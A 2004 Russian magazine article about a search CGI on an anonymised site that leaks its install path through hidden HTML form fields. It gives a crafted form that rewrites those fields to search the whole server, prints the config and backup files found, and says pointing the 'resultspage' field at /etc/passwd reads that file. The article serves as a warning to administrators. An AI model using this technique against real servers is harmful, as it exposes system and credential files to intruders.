утечка информации о сервере через скрытые поля html-кода

Сколько раз уже говорили о опасности, сокрытой в скрытых формах, но все равно встречаются умельцы, которые пренебрегают хорошими советами.
В html-коде index'ной страницы сервера www.xxx.com есть такой вот фрагмент: (ненужные элементы дизайна удалены)

<form method=POST action="/cgi-bin/wsmsearch2.cgi">
Search Site: <input type=text name="terms" size=20>
<input type=hidden name=boolean value="AND">
<input type=hidden name=case value="Insensitive">
<input type=hidden name=quicksearch value="NO">
<input type=hidden name=max value="50">
<input type=hidden name=faqfile value="/opt2/xxx/httpd/htdocs _
http://www.xxx.com/ _ *.*
manual/ updates/ _ http://www.xxx.com">
<input type=hidden name=resultspage
value="/opt2/xxx/httpd/htdocs/results.html">
<input type=submit value="Search!">


Как уже стало понятно, это «морда» для доступа к скрипту поисковой системы по сайту. Но вот эти строчки особенно интересны:

<input type=hidden name=faqfile value="/opt2/xxx/httpd/htdocs _
http://www.xxx.com/ _ *.*
manual/ updates/ _ http://www.xxx.com">
<input type=hidden name=resultspage
value="/opt2/xxx/httpd/htdocs/results.html">


Можно догадаться, что /opt2/xxx/httpd/htdocs — это инсталяционный путь сайта, но это еще не все. Мы также узнаем, что поиск производится в папках: manual/, updates/ и корневой папке сервера. (Интересно что с помощью этого поикового скрипта был обнаружен файл www_xxx_user_list.txt в корне сервера, а это список юзеров).
Итак, нам предоставляется уникальная возможность манипулировать запросами скрипта. Для этого создаем html вот с таким кодом:

<form method=POST
action="http://www.xxx.com/cgi-bin/wsmsearch2.cgi">
Search Site: <input type=text name="terms" size=20>
<input type=hidden name=boolean value="AND">
<input type=hidden name=case value="Insensitive">
<input type=hidden name=quicksearch value="NO">
<input type=hidden name=max value="50">
<input type=hidden name=faqfile value="/opt2/xxx/httpd/htdocs">
<input type=hidden name=resultspage
value="/opt2/xxx/httpd/htdocs/results.html">
<input type=submit value="Search!">


То есть просто убираем строчки: _ http:// www.xxx.com/ _ *.* manual/ updates/ _ http://www.xxx.com и выполняем поисковый запрос по всему сайту.
Аналогично можно искать файлы и в /opt2/xxx/httpd/htdocs/cgi-bin/.
Вот что было обнаружено в результате этих запросов:

Here are your search results for the keyword(s) conf.dont_use in order of relevance.
1) conf.dont_use/srm.conf.old SIZE: 7354 bytes TYPE: Unknown
Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
partial matches: 0
2) conf.dont_use/srm.conf SIZE: 7436 bytes TYPE: Unknown
Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
partial matches: 0
3) conf.dont_use/sessiond.conf SIZE: 159 bytes TYPE: Unknown
Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
partial matches: 0
4) conf.dont_use/mime.types SIZE: 2652 bytes TYPE: Unknown
Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
partial matches: 0
5) conf.dont_use/imagemap.conf SIZE: 1062 bytes TYPE: Unknown
Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
partial matches: 0
6) conf.dont_use/httpsd.conf.dave SIZE: 43652 bytes TYPE: Unknown
Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
partial matches: 0
7) conf.dont_use/httpsd.conf.11-20-2001 SIZE: 43841 bytes TYPE: Unknown
Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
partial matches: 0
8) conf.dont_use/httpsd.conf-backup SIZE: 13243 bytes TYPE: Unknown
Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
partial matches: 0
9) conf.dont_use/httpsd.conf SIZE: 43927 bytes TYPE: Unknown
Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
partial matches: 0
10) conf.dont_use/httpd.conf.vhback SIZE: 7225 bytes TYPE: Unknown
Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
partial matches: 0
11) conf.dont_use/httpd.conf.11-20-2001 SIZE: 7451 bytes TYPE: Unknown
Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
partial matches: 0
12) conf.dont_use/httpd.conf SIZE: 7451 bytes TYPE: Unknown
Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
partial matches: 0
13) conf.dont_use/access.conf SIZE: 1725 bytes TYPE: Unknown
Term: conf.dont_use Filename matches: 0,1 Title matches: 0,0 exact matches: 0
partial matches: 0


и еще один скрипт:

1) cgi-bin/conf.dont_use/resetsecuredata.cgi SIZE: bytes TYPE: CGI sсript
Term: securedata Filename matches: 0,1 Title matches: 0,0 exact matches: 0
partial matches: 0


Ну а всеми любимый /etc/passwd получается совсем просто : достаточно значение скрытого поля resultspage заменить на /etc/passwd.
Вот так вот иногда администраторы сервера пытаются залатать всевозможные дыры, накатывая последние патчи, а информация утекает из банального html-кода.

Durito



Сетевые решения. Статья была опубликована в номере 01 за 2004 год в рубрике save ass…

©1999-2024 Сетевые решения